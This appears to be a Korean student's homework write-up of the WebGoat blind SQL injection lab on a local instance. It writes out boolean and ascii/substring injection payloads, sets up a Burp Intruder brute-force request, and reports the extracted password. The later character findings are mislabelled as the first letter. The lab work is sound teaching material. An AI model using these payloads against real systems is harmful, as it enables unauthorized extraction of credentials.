

인터넷응용보안 7주차 과제

202121556 곽지현

Blind SQL Injection 문제

test' or 1 == 1 -- 공격문을 id 입력창이나 패스워드 입력창에 넣어봐도 모두 실패

The screenshot shows a browser window for 'WebGoat' at the URL 127.0.0.1:8080/WebGoat/start.mvc#lesson/SqliInjectionAdvanced.lesson/4. The sidebar menu is open, showing various security challenges under the 'Injection' category. The main content area displays a 'LOGIN' and 'REGISTER' form. In the 'LOGIN' form, the 'username' field contains the value 'test' or 1 == 1 --'. Below the form, a message says 'No results matched, try again.' The navigation bar at the top has tabs 1 through 6, with tab 5 being the active one.

REGISTER 메뉴로 가서 임의의 계정(test)을 등록

The screenshot shows the same 'WebGoat' application at the same URL. The sidebar menu is open, showing various security challenges under the 'Injection' category. The main content area displays a 'LOGIN' and 'REGISTER' form. In the 'REGISTER' form, the 'username' field contains 'test', the 'email' field contains 'test@test.com', and both password fields contain '****'. Below the form, a message says 'User test created, please proceed to the login page.' The navigation bar at the top has tabs 1 through 6, with tab 5 being the active one.

다시 동일한 id로 중복 가입을 시도 -> 이미 존재하는 계정이라고 나온다.

(계정명을 DB에 조회하고 있음)

The screenshot shows a browser window for the WebGoat SQL Injection Advanced lesson. The URL is 127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjectionAdvanced.lesson/4. On the left, a sidebar lists various security challenges. The main content area displays a registration form with fields for 'test' (username), 'test@test.com' (email), and two password fields, both containing '****'. A 'Register Now' button is at the bottom. Below the form, a red error message reads: "User test already exists please try to register with a different username."

계정명을 'test''로 변경하여 공격 -> 내부에서 오류가 발생 (취약점 존재)

This screenshot shows the same WebGoat interface after changing the username to 'test''. The registration form now contains 'test'' in the username field. The 'Register Now' button is present. Below the form, a red error message reads: "Sorry the solution is not correct, please try again. Something went wrong".

계정명에 test' and 1<2 – 를 입력하여 공격 -> 계정이 이미 존재 (Blind SQL 삽입 공격이 적용됨)

The screenshot shows a browser window for the WebGoat application at the URL 127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjectionAdvanced.lesson/4. The sidebar on the left lists various security challenges, with "SQL Injection (advanced)" selected. The main content area displays a registration form with fields for Username, Email Address, Password, and Confirm Password. The "Username" field contains the value "test' and 1<2 --". A red error message at the bottom of the form states: "User test' and 1<2 -- already exists please try to register with a different username." Above the form, the text "We now explained the basic steps involved in an SQL injection. In this assignment you will need to combine all the things we explained in the SQL lessons." is displayed.

계정명에 test' and 1>2 – 를 입력하여 공격 -> 계정이 만들어졌다고 나온다.

The screenshot shows a browser window for the WebGoat application at the URL 127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjectionAdvanced.lesson/4. The sidebar on the left lists various security challenges, with "SQL Injection (intro)" selected. The main content area displays a registration form with fields for Username, Email Address, Password, and Confirm Password. The "Username" field is empty. A green success message at the bottom of the form states: "User test' and 1>2 -- created, please proceed to the login page." Above the form, the text "We now explained the basic steps involved in an SQL injection. In this assignment you will need to combine all the things we explained in the SQL lessons." is displayed.

tom' and length(password)<30 – 이라고 공격 -> password의 길이가 30보다 작다는 명제가 참임을 알 수 있다.

The screenshot shows a browser window for the WebGoat application at the URL 127.0.0.1:8080/WebGoat/start.mvc#lesson/SqliInjectionAdvanced.lesson/4. The sidebar on the left lists various security challenges, and the main content area displays a registration form. The 'username' field contains the value "tom' and length(password)<30 --". The 'password' field has two entries: "test@test.com" and "****". A red error message at the bottom of the form states: "User {0} already exists please try to register with a different username."

tom' and length(password)=29 – 라고 공격 -> 계정이 생성되었다는 메시지가 나옴 -> 거짓
(패스워드 길이 29 아님)

The screenshot shows a browser window for the WebGoat application at the URL 127.0.0.1:8080/WebGoat/start.mvc#lesson/SqliInjectionAdvanced.lesson/4. The sidebar on the left lists various security challenges, and the main content area displays a registration form. The 'username' field contains the value "tom' and length(password)=29 --". The 'password' field has two entries: "test@test.com" and "****". A green success message at the bottom of the form states: "User tom' and length(password)=29 -- created, please proceed to the login page."

패스워드 길이를 하나씩 줄여 나가기 -> 패스워드 길이가 23일 때 계정이 존재한다는 메시지가 출력

(Tom의 패스워드 길이 : 23)

The screenshot shows a browser window for the WebGoat application at the URL `127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjectionAdvanced.lesson/4`. The left sidebar contains a navigation menu with sections like (A3) Injection, (A5) Security Misconfiguration, etc. The main content area displays a registration form with two tabs: LOGIN and REGISTER. In the REGISTER tab, the password field contains the value `tom' and length(password)=23 --`. Below the form, a message states `User {0} already exists please try to register with a different username.`

`tom' and ascii(substring(password,1,1)) < 100` – 이라고 공격 -> 계정이 생성됨

and 뒷부분이 거짓 -> 패스워드의 첫 글자가 ASCII 코드로 100 이상의 값

This screenshot shows the same WebGoat interface after the previous attack was successful. The password field now contains the value `tom' and ascii(substring(password,1,1)) < 100 --`. A success message at the bottom of the page reads `User tom' and ascii(substring(password,1,1)) < 100 -- created, please proceed to the login page.`

HTTP history에서 이 요청을 찾아 Send to Intruder 메뉴 클릭

The screenshot shows the Burp Suite interface with the "HTTP history" tab selected. A specific request (ID 650) has been highlighted. The "Request" pane shows a PUT request to "/WebGoat/SqlInjectionAdvanced/challenge" with various headers and a JSON payload. The "Response" pane displays the server's response, which includes a success message and some session details. The "Inspector" pane on the right shows request attributes, body parameters, cookies, headers, and response headers. The status bar at the bottom indicates "Memory: 127.7MB".

%3C -> %3D 로 수정 / 100 -> \$100\$ 형태로 수정

The screenshot shows the Burp Suite interface with the "Intruder" tab selected. A payload position has been added to the target. The "Payload positions" section shows the modified request with the payload position highlighted. The "Start attack" button is visible in the top right corner. The status bar at the bottom indicates "Memory: 135.6MB".

Payload 설정하고 공격

The screenshot shows the Burp Suite interface with the 'Intruder' tab selected. In the 'Payload sets' section, a payload set named '1' is selected, with a payload count of 95 and a request count of 95. The 'Payload type' is set to 'Numbers'. A 'Start attack' button is visible. Below this, the 'Payload settings [Numbers]' section is expanded, showing configuration for generating numeric payloads. It includes fields for 'From' (32), 'To' (126), 'Step' (1), and 'How many'. Under 'Number format', 'Base' is set to 'Decimal' (selected) and 'Min integer digits' is set to 2. The 'Examples' section shows '01'. At the bottom, tabs for 'Event log' and 'All issues' are visible, along with a memory usage indicator of 135.6MB.

공격에 대한 Response를 살펴보면 응답 길이가 다른 요청과 다른 것이 116 값일 때 계정이 만들어졌다는 메시지가 나온다. (패스워드의 첫 글자 : ASCII 코드 116, 소문자 t)

The screenshot shows the 'Results' tab of the Burp Suite Intruder tool. An attack is running against 'http://127.0.0.1:8080'. The table lists requests from 82 to 90, showing their status codes, response lengths, and other details. Request 85 has a status code of 200 and a length of 432, which is highlighted. Below the table, the 'Response' tab is selected, showing the raw JSON response. The response body contains a message about a user already existing and a challenge related to SQL injection. The 'Pretty' tab is selected, displaying the JSON in a readable format.

Request	Payload	Status code	Response received	Error	Timeout	Length	Comment
82	113	200	11			455	
83	114	200	7			455	
84	115	200	6			455	
85	116	200	7			432	
86	117	200	10			455	
87	118	200	6			455	
88	119	200	16			455	
89	120	200	13			455	
90	121	200	7			455	

Position 탭에서 substring(password%2C1%2C1) -> substring(password%2C2%2C1)로 수정

Attack type: Sniper

Start attack

Payload positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

Target: http://127.0.0.1:8080

Host: 127.0.0.1:8080
Content-Length: 137
sec-ch-ua: "Not A;Brand";v="24", "Chromium";v="122"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: JSESSIONID=aGiCqhTaa8G3dIA15I2cZ24aMmSr2-5e6xbCfq0
Connection: close
username_reg=tom'+and+ascii(substring(password%2C2%2C1))++3D+\$100\$+--+&email_reg=test@0test.com&password_reg=test&confirm_password_reg=test|

Add \$ Clear \$ Auto \$ Refresh

Search 1 highlight Clear Length: 910

1 payload position

Event log All issues Memory: 152.6MB

공격에 대한 Response를 살펴보면 응답 길이가 다른 요청과 다른 것이 104 값일 때 계정이 만들어졌다는 메시지가 나온다. (패스워드의 첫 글자 : ASCII 코드 104, 소문자 h)

Attack Save 5. Intruder attack of http://127.0.0.1:8080

Attack Save

Results Positions Payloads Resource pool Settings

Filter: Showing all items

Request	Payload	Status code	Response received	Error	Timeout	Length	Comment
68	100	200	13			455	
69	101	200	13			455	
70	102	200	10			455	
71	103	200	13			455	
72	104	200	14			432	
73	104	200	14			432	
74	105	200	13			455	
75	106	200	13			455	
76	107	200	18			455	
77	108	200	13			455	

Request Response

Pretty Raw Hex Render

```

1 HTTP/1.1 200 OK
2 Connection: keep-alive
3 X-XSS-Protection: 1; mode=block
4 X-Content-Type-Options: nosniff
5 X-Frame-Options: DENY
6 Content-Type: application/json
7 Date: Tue, 15 Apr 2025 01:42:19 GMT
8 Content-Length: 210
9
10 {
11   "lessonCompleted":true,
12   "feedback":"User (0) already exists please try to register with a different username.",
13   "output":null,
14   "assignment":"SqlInjectionChallenge",
15   "attemptWasMade":true
16 }

```

0 highlights

Position 탭에서 substring(password%2C%2C1) -> substring(password%2C3%2C1)로 수정

The screenshot shows the Burp Suite interface with the 'Intruder' tab selected. In the 'Payload positions' section, a target URL is set to `http://127.0.0.1:8080`. A payload is being constructed with the following content:

```
Host: 127.0.0.1:8080
Content-Length: 137
sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="102"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Request-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.6261.112 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: JSESSIONID=auGiCqhtaa8G3dIA1512cZ24ahmSr2-Se6xbCfq8
Connection: close
username_reg='tom'+and+ascii(substring(password%2C3%2C1))+%3D+$100$+--+&email_reg='test@0test.com&password_reg='test&confirm_password_reg='test|
```

The payload has been saved with the name `6. Intruder attack of http://127.0.0.1:8080`.

공격에 대한 Response를 살펴보면 응답 길이가 다른 요청과 다른 것이 105 값일 때 계정이 만들어졌다는 메시지가 나온다. (패스워드의 첫 글자 : ASCII 코드 105, 소문자 i)

The results table shows the following requests:

Request	Payload	Status code	Response received	Error	Timeout	Length	Comment
69	100	200	15			455	
70	101	200	12			455	
71	102	200	11			455	
72	103	200	12			455	
73	104	200	13			455	
74	105	200	13			432	
75	106	200	14			455	
76	107	200	14			455	
77	108	200	12			455	

The response for the row where the length is 432 is displayed in the 'Response' tab:

```
HTTP/1.1 200 OK
Connection: keep-alive
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Type: application/json
Date: Tue, 15 Apr 2025 01:44:53 GMT
Content-Length: 210
{
    "lessonCompleted":true,
    "feedback":"User (0) already exists please try to register with a different username.",
    "output":null,
    "assignment":"SqlInjectionChallenge",
    "attemptWasMade":true
}
```

Tom의 패스워드 : thisisasecretfortomonly

The screenshot shows a browser window for the WebGoat application at the URL 127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjectionAdvanced.lesson/4. The left sidebar contains a navigation menu with various categories and sub-categories. The 'Injection' category is expanded, and 'SQL Injection (advanced)' is selected, indicated by a green checkmark icon. The main content area displays a success message: 'Congratulations. You have successfully completed the assignment.' Above this message is a login form with fields for 'username' (containing 'tom') and 'password' (containing '.....'). There is also a 'Remember me' checkbox and a 'Log In' button.

모든 문제 성공!

The screenshot shows a browser window for the WebGoat application at the URL 127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjectionAdvanced.lesson/5. The left sidebar is identical to the previous screenshot. The main content area now displays a quiz titled 'SQL Injection (adv...)' with a progress bar showing steps 1 through 6. A message reads: 'Now it is time for a quiz! It is recommended to do all SQL injection lessons before trying the quiz. Answer all questions correctly to complete the assignment.' Below this are two questions with multiple-choice answers. Question 1 asks about the difference between prepared statements and regular statements, with four options: 'Solution 1: Prepared statements are statements with hard-coded parameters.', 'Solution 2: Prepared statements are not stored in the database.', 'Solution 3: A statement is faster.', and 'Solution 4: A statement has got values instead of a prepared statement'. Question 2 asks which character is a placeholder for variables, with four options: 'Solution 1: *', 'Solution 2: =', 'Solution 3: ?', and 'Solution 4: !'. The 'Search lesson' bar is visible at the top of the main content area.